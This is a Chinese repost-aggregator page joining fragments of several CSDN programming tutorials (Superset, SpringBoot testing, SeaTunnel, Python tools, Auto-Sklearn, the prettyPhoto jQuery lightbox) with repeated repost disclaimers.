Lab查询数据，并基于此创建丰富的仪表板和图表了。这就像是图书管理员已经摸清了你的书架，随时都能从里面抽出你想看的书，就像你家私人图书馆一样，随读者心意查阅。 总结一下，在Superset中创建新的数据源是一项基础但关键的任务。嘿，你知道吗？Superset的界面设计得超直观，配置选项详尽到家，这使得我们能够轻轻松松将各类数据库与它无缝对接。这样一来，管理和展示数据就变得既高效又轻松啦，就像在公园里遛狗一样简单愉快！不论你是初涉数据世界的探索者，还是经验丰富的数据专家，Superset都能帮助你更好地驾驭手中的数据资源。下次当你准备引入一个新的数据库时，不妨试试按照上述步骤，亲自体验一把数据源创建的乐趣吧！

... 可以进一步解析响应内容并进行断言 } } 在这段代码中，@AutoConfigureMockMvc注解会自动配置一个MockMvc对象，我们可以用它来模拟HTTP请求，并检查返回的状态码或响应体。 5. 结语 通过以上示例，我们可以看到SpringBoot与JUnit的集成使单元测试变得更加直观和便捷。这东西可不简单，它不仅能帮我们把每一行代码都捯饬得准确无误，更是在持续集成和持续部署（CI/CD）这一套流程里，扮演着不可或缺的关键角色。所以，亲，听我说，把单元测试搂得紧紧的，特别是在像SpringBoot这样新潮的开发框架下，绝对是每个程序员提升代码质量和效率的必修课。没有它，你就像是在编程大道上少了一双好跑鞋，知道不？在实际动手操作中不断摸索和探究，你会发现单元测试就像一颗隐藏的宝石，充满了让人着迷的魅力。而且，你会更深刻地感受到，它在提升开发过程中的快乐指数、让你编程生活更加美滋滋这方面，可是起着大作用呢！

...有余地应对啦！ 以上内容仅为一个基础示例，实际上，SeaTunnel能够帮助我们解决更复杂的问题，让Druid数据摄入变得更为顺畅。只有当我们把这些技术彻底搞懂、玩得溜溜的，才能真正像驾驭大河般掌控大数据的洪流，从那些海量数据里淘出藏着的巨大宝藏。

本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_67991858/article/details/128340577。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 　　5种好用的Python工具分享，Python开发软件可根据其用途不同分为两种，Python代码编辑器和Python集成开发工具，两者配合使用极大的提高Python开发人员的编程效率。掌握调试、语法高亮、Project管理、代码跳转、智能提示、自动完成、单元测试、版本控制等操作。 　　Python常用工具： 　　1、Python Tutor 　　Python Tutor 是由 Philip Guo 开发的一个免费教育工具，可帮助学生攻克编程学习中的基础障碍，理解每一行源代码在程序执行时在计算机中的过程。通过这个工具，教师或学生可以直接在 Web 浏览器中编写 Python 代码，并逐步可视化地运行程序。如果你不知道代码在内存中是如何运行的，不妨把它拷贝到Tutor里可视化执行一遍加深理解。 　　2、IPython 　　IPython 是一个 for Humans 的 Python 交互式 shell，用了它之后你就不想再用自带的 Python shell ，IPython 支持变量自动补全，自动缩进，支持 bash shell 命令，内置了许多实用功能和函数，同时它也是科学计算和交互可视化的最佳平台。 　　3、Jupyter Notebook 　　Jupyter Notebook 就像一个草稿本，能将文本注释、数学方程、代码和可视化内容全部组合到一个易于共享的文档中，以 Web 页面的方式展示。它是数据分析、机器学习的必备工具。回复 “jupyter” 给你看一个基于 jupyter 写的 Python 教程。 　　4、Anaconda 　　Python 虽好，可总是会遇到各种包管理和 Python 版本问题，特别是 Windows 平台很多包无法正常安装，为了解决这些问题，Anoconda 出现了，Anoconda 包含了一个包管理工具和一个Python管理环境，同时附带了一大批常用数据科学包，也是数据分析的标配。 　　5、Skulpt 　　Skulpt 是一个用 Javascript 实现的在线 Python 执行环境，它可以让你轻松在浏览器中运行 Python 代码。使用 skulpt 结合 CodeMirror 编辑器即可实现一个基本的在线Python编辑和运行环境。 　　以上主要介绍Python Tutor、IPython、Jupyter Notebook、Anaconda、Skulpt常见的五种工具。 Python经验分享 学好 Python 不论是就业还是做副业赚钱都不错，但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料，给那些想学习 Python 的小伙伴们一点帮助！ Python学习路线 这里把Python常用的技术点做了整理，有各个领域的知识点汇总，可以按照上面的知识点找对应的学习资源。 学习软件 Python常用的开发软件，会给大家节省很多时间。 学习视频 编程学习一定要多多看视频，书籍和视频结合起来学习才能事半功倍。 100道练习题 实战案例 光学理论是没用的，学习编程切忌纸上谈兵，一定要动手实操，将自己学到的知识运用到实际当中。 最后祝大家天天进步！！ 上面这份完整版的Python全套学习资料已经上传至CSDN官方，朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。 本篇文章为转载内容。原文链接：https://blog.csdn.net/weixin_67991858/article/details/128340577。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 AI之AutoML：autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的简介、安装、使用方法之详细攻略 目录 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 autosklearn/Auto-Sklearn的安装 系统安装要求¶ autosklearn/Auto-Sklearn的使用方法 1、基础案例 autosklearn/Auto-Sklearn的简介 autosklearn/Auto-Sklearn(基于scikit-learn库的自动化的机器学习工具)的概述 简介 Auto-Sklearn，在2015年由德国图宾根大学的研究人员提出的，最初的版本于2016年发布。auto-sklearn基于scikit-learn库进行开发，支持多种机器学习任务，包括分类、回归、时间序列等。 核心技术点 Auto-Sklearn使用了贝叶斯优化的方法进行超参数优化，可以在较短的时间内找到最优的超参数组合，从而得到更好的模型性能。 功能 Auto-Sklearn是一款基于Python的自动机器学习工具，可以自动进行机器学习的各个步骤，包括特征选择、特征预处理、算法选择和超参数优化等。 自动特征选择与工程：可以自动选择最优特征子集，并进行归一化、缺失值处理等特征工程。 自动模型选择：可以自动选择最优的机器学习算法来解决问题，支持的算法包括SVM、KNN、随机森林等。 自动超参数优化：可以自动搜索机器学习模型的最优超参数，获得最高性能的模型配置。 特点 auto-sklearn的优势在于它的易用性和灵活性。用户只需要提供数据集和一些基本的配置，就可以自动进行模型构建和优化。 auto-sklearn可以自动选择和配置算法和超参数，从而让用户省去了手动调参的过程。 auto-sklearn还支持并行化处理，可以在多个CPU或GPU上运行，进一步加速模型训练和优化。 优缺点 自动化：auto-sklearn能够自动化地完成机器学习的各个环节，从而让用户省去手动调参和特征工程等繁琐的工作。 灵活性：auto-sklearn提供了多种配置选项，用户可以根据自己的需求进行自定义配置。 性能好：auto-sklearn使用贝叶斯优化技术进行超参数优化，能够在短时间内找到最优的超参数组合，从而得到更好的模型性能。 处理大数据集时较慢：auto-sklearn的处理速度受限于计算资源，处理大数据集时需要较长时间。 可解释性较差：由于auto-sklearn是自动化的，生成的模型可解释性较差。 应用案例 Kaggle竞赛：auto-sklearn在多个Kaggle竞赛中表现出色，包括房价预测、分类、回归等多个任务。 自动化机器学习平台：auto-sklearn可以作为自动化机器学习平台的核心组件，帮助用户快速构建和部署机器学习模型。 数据科学教育：auto-sklearn可以作为教学工具，帮助学生快速入门机器学习，并加深对机器学习原理的理解。 autosklearn/Auto-Sklearn的安装 pip install auto-sklearnpip install -i https://pypi.tuna.tsinghua.edu.cn/simple auto-sklearnconda install -c conda-forge auto-sklearn 系统安装要求¶ auto-sklearn 具有以下系统要求： Linux 操作系统（例如 Ubuntu）（在此处获取 Linux） Python (>=3.7)（在此处获取 Python）， C++ 编译器（支持 C++11）（在此处获取 GCC）。 如果您尝试在没有提供 pyrfr 包的 wheel 文件的系统上安装 Auto-sklearn（请参阅此处了解可用的 wheels），您还需要： SWIG（在此处获取 SWIG）。 有关缺少 Microsoft Windows 和 macOS 支持的说明，请查看Windows/macOS 兼容性部分。 注意：auto-sklearn 当前不支持 Windows系统，因为auto-sklearn严重依赖 Python 模块resource。是 Python 的Unix 特定服务resource 的一部分 ，在 Windows 机器上不可用。因此，无法 在 Windows 机器上运行auto-sklearn 。 autosklearn/Auto-Sklearn的使用方法 1、基础案例 import sklearn.datasetsimport autosklearn.classification 加载Titanic数据集X, y = sklearn.datasets.load_breast_cancer(return_X_y=True) 使用Auto-Sklearn训练模型model = autosklearn.classification.AutoSklearnClassifier()model.fit(X, y) 输出模型评估结果print(model.sprint_statistics()) 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_41185868/article/details/83758383。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

本篇文章为转载内容。原文链接：https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。 一、prettyPhoto简介 prettyPhoto是一款基于jquery的轻量级的lightbox图片播放浏览插件，它不仅支持图片，还同时支持视频、flash、YouTube、iframe和ajax。而且prettyPhoto配置和使用都十分简单，扩展性也不错，你可以最大限度地自定义prettyPhoto。目前，prettyPhoto兼容大部分主流的浏览器，包括令人纠结的IE6。 prettyPhoto插件的项目地址：http://www.no-margin-for-errors.com/projects/prettyphoto-jquery-lightbox-clone/ 建议英文好的朋友直接去官网上了解这个插件的用法，如果你的英文很烂，那么也别急，下面我就给大家来一一介绍prettyPhoto的使用方法。 二、prettyPhoto使用方法介绍 1、引入jquery核心库和prettyPhoto插件库以及prettyPhoto样式表文件 复制代码代码如下: <script src="js/jquery.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="css/prettyPhoto.css" type="text/css" media="screen" charset="utf-8" /> <script src="js/jquery.prettyPhoto.js" type="text/javascript" charset="utf-8"></script> 2、初始化jquery插件，以下是最简单的配置的js代码 复制代码代码如下: $(document).ready(function(){ $("a[rel^='prettyPhoto']").prettyPhoto(); }); 下面是每种类型的html代码 1、单张图片 复制代码代码如下: <a href="images/fullscreen/2.jpg" rel="prettyPhoto" title="This is the description"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="This is the title" /> </a> 2、图片相册 复制代码代码如下: <a href="images/fullscreen/1.jpg" rel="prettyPhoto[pp_gal]" title="You can add caption to pictures."> <img src="images/thumbnails/t_1.jpg" width="60" height="60" alt="Red round shape" /> </a> <a href="images/fullscreen/2.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_2.jpg" width="60" height="60" alt="Nice building" /> </a> <a href="images/fullscreen/3.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_3.jpg" width="60" height="60" alt="Fire!" /> </a> <a href="images/fullscreen/4.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_4.jpg" width="60" height="60" alt="Rock climbing" /> </a> <a href="images/fullscreen/5.jpg" rel="prettyPhoto[pp_gal]"> <img src="images/thumbnails/t_5.jpg" width="60" height="60" alt="Fly kite, fly!" /> </a> 3、单个flash 复制代码代码如下: <a href="http://www.adobe.com/products/flashplayer/include/marquee/design.swf?width=792&height=294" rel="prettyPhoto[flash]" title="Flash 10 demo"> <img src="images/thumbnails/flash-logo.jpg" alt="Flash 10 demo" width="60" /> </a> 4、YouTube视频 复制代码代码如下: <a href="http://www.youtube.com/watch?v=qqXi8WmQ_WM" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 5、Vimeo 复制代码代码如下: <a href="http://vimeo.com/8245346" rel="prettyPhoto" title=""> <img src="images/thumbnails/flash-logo.jpg" alt="YouTube" width="60" /> </a> 6、QuickTime影片 复制代码代码如下: <a title="Despicable Me" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/universal/despicableme/despicableme-tlr1_r640s.mov?width=640&height=360"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Despicable Me" width="50" /> </a> <a title="Tales from Earthsea" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/disney/talesfromearthsea/talesfromearthsea-tlr1_r640s.mov?width=640&height=340"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Tales from Earthsea" width="50" /> </a> <a title="Grease Sing-A-Long" rel="prettyPhoto[movies]" href="http://trailers.apple.com/movies/paramount/greasesingalong/greasesingalong-tlr1_r640s.mov?width=640&height=272"> <img src="/wp-content/themes/NMFE/images/thumbnails/quicktime-logo.png" alt="Grease Sing-A-Long" width="50" /> </a> 7、外部网站（iframe） 复制代码代码如下: <a href="http://www.google.com?iframe=true&width=100%&height=100%" rel="prettyPhoto[iframes]" title="Google.com opened at 100%">Google.com</a> <a href="http://www.apple.com?iframe=true&width=500&height=250" rel="prettyPhoto[iframes]">Apple.com</a> <a href="http://www.twitter.com?iframe=true&width=400&height=200" rel="prettyPhoto[iframes]">Twitter.com</a> 8、普通文本 复制代码代码如下: <a href="inline-1" rel="prettyPhoto" ><img src="/wp-content/themes/NMFE/images/thumbnails/earth-logo.jpg" alt="" width="50" /></a> <div id="inline-1" class="hide"> <p>这里是普通的文本</p> <p>今天给大家介绍的prettyPhoto希望大家能喜欢，这个是播放普通文本的html</p> </div> 9、AJAX内容 复制代码代码如下: <a rel="prettyPhoto[ajax]" href="/demos/prettyPhoto-jquery-lightbox-clone/xhr_response.html? ajax=true&width=325&height=185">Ajax content</a> 三、总结 prettyBox图片播放插件很好用，赶紧用它来打造你的专属相册吧！ 本篇文章为转载内容。原文链接：https://blog.csdn.net/gong1422425666/article/details/72817469。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。